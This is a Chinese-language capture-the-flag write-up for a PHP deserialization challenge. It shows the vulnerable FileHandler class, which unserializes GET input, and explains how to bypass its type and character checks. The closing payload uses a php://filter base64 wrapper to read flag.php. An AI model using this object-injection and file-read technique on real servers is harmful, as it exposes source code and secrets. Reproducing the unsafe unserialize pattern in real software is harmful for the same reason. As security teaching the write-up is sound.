直接得到代码
-
-
- include("flag.php");
-
- highlight_file(__FILE__);
-
- class FileHandler {
-
- protected $op;
- protected $filename;
- protected $content;
-
- function __construct() {
- $op = "1";
- $filename = "/tmp/tmpfile";
- $content = "Hello World!";
- $this->process();
- }
-
- public function process() {
- if($this->op == "1") {
- $this->write();
- } else if($this->op == "2") {
- $res = $this->read();
- $this->output($res);
- } else {
- $this->output("Bad Hacker!");
- }
- }
-
- private function write() {
- if(isset($this->filename) && isset($this->content)) {
- if(strlen((string)$this->content) > 100) {
- $this->output("Too long!");
- die();
- }
- $res = file_put_contents($this->filename, $this->content);
- if($res) $this->output("Successful!");
- else $this->output("Failed!");
- } else {
- $this->output("Failed!");
- }
- }
-
- private function read() {
- $res = "";
- if(isset($this->filename)) {
- $res = file_get_contents($this->filename);
- }
- return $res;
- }
-
- private function output($s) {
- echo "[Result]:
"; - echo $s;
- }
-
- function __destruct() {
- if($this->op === "2")
- $this->op = "1";
- $this->content = "";
- $this->process();
- }
-
- }
-
- function is_valid($s) {
- for($i = 0; $i < strlen($s); $i++)
- if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
- return false;
- return true;
- }
-
- if(isset($_GET{'str'})) {
-
- $str = (string)$_GET['str'];
- if(is_valid($str)) {
- $obj = unserialize($str);
- }
-
- }
发现函数is_valid,里面的ord函数:

说明这里get传入的str值的ASCII码值在32-125之间
再看

这里的对于op的强类型判断等于2,我们直接让op等于数字2即可绕过,然后调用process方法
再看process方法:

这里对于op又是弱类型比较,当op等于2时,调用read方法
再看read方法
很明显,这里有file_get_contents方法,可以被我们利用
开始构造payload:
- class FileHandler {
- protected $op = 2;
- protected $filename = 'php://filter/convert.base64-encode/resource=flag.php';
- protected $content = 123;
- }
- echo serialize(new FileHandler);

因为这里的成员都是protected类型,直接打印会出现不可见字符,所以需要url编码
但是,前面还说到了ASCII码的要求,这里的不可见字符其实是\x00,它的ASCII为0
知识点:PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
修改payload为:
- class FileHandler {
- public $op = 2;
- public $filename = 'php://filter/convert.base64-encode/resource=flag.php';
- public $content = 123;
- }
- echo serialize(new FileHandler);
然后将得到的内容进行base64解码即可得到flag